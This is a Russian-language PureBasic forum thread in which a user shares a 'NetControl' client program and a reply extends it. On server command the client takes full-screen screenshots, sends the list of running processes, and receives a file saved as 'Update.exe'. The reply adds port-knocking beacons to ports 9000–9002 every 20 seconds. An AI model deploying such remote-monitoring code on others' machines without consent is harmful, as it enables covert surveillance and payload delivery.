PureBasic - форум

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » PureBasic - форум » Вопросы по PureBasic » подскажите как допилить клиентскую часть


подскажите как допилить клиентскую часть

Сообщений 1 страница 5 из 5

1

всем доброго времени суток

у меня загвоздка

клиент серверное приложение
вот код клиента

Enumeration
  #Window_0
EndEnumeration

Enumeration
  #PopupMenu_0
EndEnumeration

Enumeration
  #StatusBar_0
EndEnumeration

Enumeration
  #arial
EndEnumeration

Global Port = 6832
Global ConnectionID
Global conect
Global adduser$
Global ConnectTimer

adduser$=Chr(159)
UsePNGImageEncoder() ; Поддержка сохренения рисунков в PNG формате

InitNetwork()

Procedure TimerConnected()
Shared ConnectTimer
ConnectTimer+1
  conect=0
 
SetWindowTitle(#Window_0, ""+Str(ConnectTimer))
If ConnectTimer>=60
   ConnectTimer=0
   KillTimer_(WindowID(#Window_0), 2)
   Goto ren
EndIf
EndProcedure

Procedure Open_Client()
  If OpenWindow(#Window_0, 0, 0, 405, 200, "NetControl (Client)",#PB_Window_SystemMenu |#PB_Window_MinimizeGadget|#PB_Window_TitleBar |#PB_Window_ScreenCentered)
    hBrush1 = CreateSolidBrush_(RGB($00,$00,$00)) 
    SetClassLong_(WindowID(#Window_0), #GCL_HBRBACKGROUND, hBrush1)
    If CreateStatusBar(#StatusBar_0, WindowID(#Window_0))
    StatusBarText(#StatusBar_0, 0, "Сервер отключен...Ожидается соединение", #PB_StatusBar_Center)
      EndIf
    CreatePopupMenu(#PopupMenu_0)
    EndIf
EndProcedure

Procedure Connect_Server()
          ren:
          ReadFile(1, "config.cfg")
          ConnectionID = OpenNetworkConnection(ReadString(1),Port)
          If ConnectionID
          KillTimer_(WindowID(#Window_0), 2)
          StatusBarText(0, 0, "Клиент успешно подключен...", #PB_StatusBar_Center)
          conect=1
          Else
            SetTimer_(WindowID(#Window_0), 2, 1000, @TimerConnected())
          EndIf

          If conect=1
               text$=adduser$+Hostname()+">"
               SendNetworkString(ConnectionID,text$)
          EndIf
EndProcedure

Procedure CommanServer(name_consol$)
;Делаем скриншот рабочего стола, и пересылаем файл серверу
If name_consol$="snapshot"
CaptureFullScreen() ; Создание скриншота всего экрана
name_screen$="SnapShot.png"
SaveCapture(name_screen$,#PB_ImagePlugin_PNG,0) ; Сохренение скриншота в виде рисунка в формате png
SendNetworkString(ConnectionID,"s")
SendNetworkFile(ConnectionID,name_screen$)
DeleteFile(name_screen$)
EndIf
;
If name_consol$="scandisc"

EndIf
;Получаем список запущенных программ клиента и пересылаем серверу
If name_consol$="runprogramms"
EnumProcessInit()
name_file$="RunProgramm.txt"
CreateFile(0,name_file$)
Repeat
  Temp.s=EnumProcess()
  WriteStringN(0,Temp ,#PB_UTF8)
Until Temp=""
CloseFile(0)
SendNetworkString(ConnectionID,"r")
SendNetworkFile(ConnectionID,name_file$)
DeleteFile(name_file$)
EndIf
;Отключаем клиента от сервера и переходим в режим ожидания
If name_consol$="quit"
CloseNetworkConnection(ConnectionID)
StatusBarText(#StatusBar_0, 0, "Сервер отключен...Ожидается соединение", #PB_StatusBar_Center)
SetTimer_(WindowID(#Window_0), 2, 1000, @TimerConnected())
EndIf

;Завершаем программу клиента
If name_consol$="exit"
End
EndIf

EndProcedure

Open_Client()
Connect_Server()

Repeat
Event=WaitWindowEvent(1)

If conect=1
If NetworkClientEvent(ConnectionID)=#PB_NetworkEvent_Data
*mem=AllocateMemory(10000); Память под данные
        If *mem
          ReceiveNetworkData(ConnectionID,*mem,10000) ; Считывание данных отправленных сервером
          name_consol$=PeekS(*mem)
          CommanServer(name_consol$)
          FreeMemory(*mem)
        EndIf
EndIf

If NetworkClientEvent(ConnectionID)=#PB_NetworkEvent_File
      ReceiveNetworkFile(ConnectionID,"Update.exe") ; Считывание файла от сервера
EndIf

EndIf

Until Event= #PB_Event_CloseWindow
If ConnectionID
CloseNetworkConnection(ConnectionID)
EndIf
End

и всё работает, но нужно дополнить его парой функций,

1. на сервер стоит порт кнокинг сервер, нужно чтоб клиент каждые 20 секунд стучался на сервер по портам 9000, 9001, 9002
просто пытался соединится, или что нить туда слал
2. клиент имеет интерфейс, как чёрное окно, возможно ли изменить фон на картинку?
если подскажите как заставить его каждые 20 секунд стучаться по указанным портам и картинку на фон, буду оч благодарен

0

2

Скучно... Всё есть в справке и запуск процедур по таймеру (EventTimer()) и картинки на форму. Форум просто завален подобной ерундой - и этот, и тот на котором ты уже запостил свой вопрос ещё раз!!!

0

3

Если я правильно понял, должно быть так:

Код:
Enumeration 
  #Window_0
EndEnumeration 

Enumeration 
  #PopupMenu_0
EndEnumeration 

Enumeration
  #StatusBar_0
EndEnumeration 

Enumeration 
  #arial
EndEnumeration 

Enumeration 
  #Image
EndEnumeration 

Global Port = 6832 
Global ConnectionID 
Global conect
Global adduser$
Global ConnectTimer


adduser$=Chr(159) 
UsePNGImageDecoder() ; Поддержка открытия рисунков в PNG формате.
UsePNGImageEncoder() ; Поддержка сохранения рисунков в PNG формате.

InitNetwork()

Declare Connect_Server()

Procedure TimerConnected()
  Shared ConnectTimer
  ConnectTimer+1
  conect=0
  
  SetWindowTitle(#Window_0, ""+Str(ConnectTimer))
  If ConnectTimer>=60
    ConnectTimer=0
    KillTimer_(WindowID(#Window_0), 2)
    ; Goto ren ; Это слишком грубо и может вызвать ошибки, связанные со стеком!
    Connect_Server()
  EndIf
EndProcedure

Procedure Open_Client() 
  If OpenWindow(#Window_0, 0, 0, 404, 200, "NetControl (Client)",#PB_Window_SystemMenu |#PB_Window_MinimizeGadget|#PB_Window_TitleBar |#PB_Window_ScreenCentered) 
;     hBrush1 = CreateSolidBrush_(RGB($00,$00,$00))  
;     SetClassLong_(WindowID(#Window_0), #GCL_HBRBACKGROUND, hBrush1) 
    ImageGadget(#Image, 0 ,0, 404, 200, CatchImage(#Image, ?BackImg)) : DisableGadget(#Image, #True)
    If CreateStatusBar(#StatusBar_0, WindowID(#Window_0)) 
      AddStatusBarField(#PB_Ignore)
      StatusBarText(#StatusBar_0, 0, "Сервер отключен...Ожидается соединение", #PB_StatusBar_Center) 
    EndIf 
    CreatePopupMenu(#PopupMenu_0) ; А где создание пунктов меню?
  EndIf 
EndProcedure 

Procedure Connect_Server()
  ;ren:
  If ReadFile(1, "config.cfg")
    
    If ConnectionID ; Нужно разрывать связь когда она уже не нужна
      CloseNetworkConnection(ConnectionID)
      ConnectionID = 0
      conect=0
    EndIf
    
  ConnectionID = OpenNetworkConnection(ReadString(1),Port)
  If ConnectionID
    KillTimer_(WindowID(#Window_0), 2)
    StatusBarText(0, 0, "Клиент успешно подключен...", #PB_StatusBar_Center)
    conect=1
  Else
    conect=0
    SetTimer_(WindowID(#Window_0), 2, 1000, @TimerConnected())
  EndIf
    StatusBarText(0, 0, "Нет файла "+Chr(34)+"config.cfg"+Chr(34)+"!", #PB_StatusBar_Center)
  EndIf
  
  If conect=1
    text$=adduser$+Hostname()+">"
    SendNetworkString(ConnectionID,text$)
  EndIf
EndProcedure 

Procedure CommanServer(name_consol$)
  ;Делаем скриншот рабочего стола, и пересылаем файл серверу
  If name_consol$="snapshot"
    CaptureFullScreen() ; Создание скриншота всего экрана
    name_screen$="SnapShot.png"
    SaveCapture(name_screen$,#PB_ImagePlugin_PNG,0) ; Сохренение скриншота в виде рисунка в формате png
    SendNetworkString(ConnectionID,"s")
    SendNetworkFile(ConnectionID,name_screen$)
    DeleteFile(name_screen$)
  EndIf
  ;
  If name_consol$="scandisc"
    
  EndIf
  ;Получаем список запущенных программ клиента и пересылаем серверу
  If name_consol$="runprogramms"
    EnumProcessInit()
    name_file$="RunProgramm.txt"
    CreateFile(0,name_file$)
    Repeat
      Temp.s=EnumProcess()
      WriteStringN(0,Temp ,#PB_UTF8)
    Until Temp=""
    CloseFile(0)
    SendNetworkString(ConnectionID,"r")
    SendNetworkFile(ConnectionID,name_file$)
    DeleteFile(name_file$)
  EndIf
  ;Отключаем клиента от сервера и переходим в режим ожидания
  If name_consol$="quit"
    CloseNetworkConnection(ConnectionID)
    StatusBarText(#StatusBar_0, 0, "Сервер отключен...Ожидается соединение", #PB_StatusBar_Center)
    SetTimer_(WindowID(#Window_0), 2, 1000, @TimerConnected())
  EndIf
  
  ;Завершаем программу клиента
  If name_consol$="exit"
    End
  EndIf
  
EndProcedure

Procedure HelloServer_Timer() ; Раз в 20 секунд стучимся к серверу по портам 9000, 9001 и 9002.
  Protected Port, Connect
  
  For Port = 9000 To 9002
    Connect = OpenNetworkConnection("Тут нужно указать адрес сервера", Port)
    If Connect
      ; Здесь если нужно, что-то передаем серверу.
      CloseNetworkConnection(Connect)
    EndIf
  Next 
  
EndProcedure

Open_Client()
Connect_Server()

SetTimer_(WindowID(#Window_0),4, 20000, @HelloServer_Timer() )

Repeat 
  Event=WaitWindowEvent(10)
  
  If conect=1
    If NetworkClientEvent(ConnectionID)=#PB_NetworkEvent_Data
      *mem=AllocateMemory(10000); Память под данные
      If *mem
        ReceiveNetworkData(ConnectionID,*mem,10000) ; Считывание данных отправленных сервером
        name_consol$=PeekS(*mem)
        CommanServer(name_consol$)
        FreeMemory(*mem)
      EndIf
    EndIf
    
    If NetworkClientEvent(ConnectionID)=#PB_NetworkEvent_File
      ReceiveNetworkFile(ConnectionID,"Update.exe") ; Считывание файла от сервера
    EndIf
    
  EndIf
  
  
Until Event= #PB_Event_CloseWindow 
If ConnectionID
  CloseNetworkConnection(ConnectionID)
EndIf
End

DataSection
  BackImg:
  IncludeBinary "Image.png" ; В папку с исходником кидаем рисунок "Image.png" являющийся фоном для окна. Он нужен только для компиляции, а для EXE не требуется.
EndDataSection

В папку с исходным текстом нужно поместить файл "Image.png" - фон окна.
За это:

1. на сервер стоит порт кнокинг сервер, нужно чтоб клиент каждые 20 секунд стучался на сервер по портам 9000, 9001, 9002
просто пытался соединится, или что нить туда слал

отвечает процедура HelloServer_Timer()

0

4

спасибо, если чесно я месяц наза вааапще незнал что сушествует ПБ язык и тем более справка
HelloServer_Timer()
а можно пример?

0

5

silveran написал(а):

HelloServer_Timer()а можно пример?

Это процедура в коде.

Код:
Procedure HelloServer_Timer() ; Раз в 20 секунд стучимся к серверу по портам 9000, 9001 и 9002.
  Protected Port, Connect
  
  For Port = 9000 To 9002
    Connect = OpenNetworkConnection("Тут нужно указать адрес сервера", Port)
    If Connect
      ; Здесь если нужно, что-то передаем серверу.
      CloseNetworkConnection(Connect)
    EndIf
  Next 
  
EndProcedure

0


Вы здесь » PureBasic - форум » Вопросы по PureBasic » подскажите как допилить клиентскую часть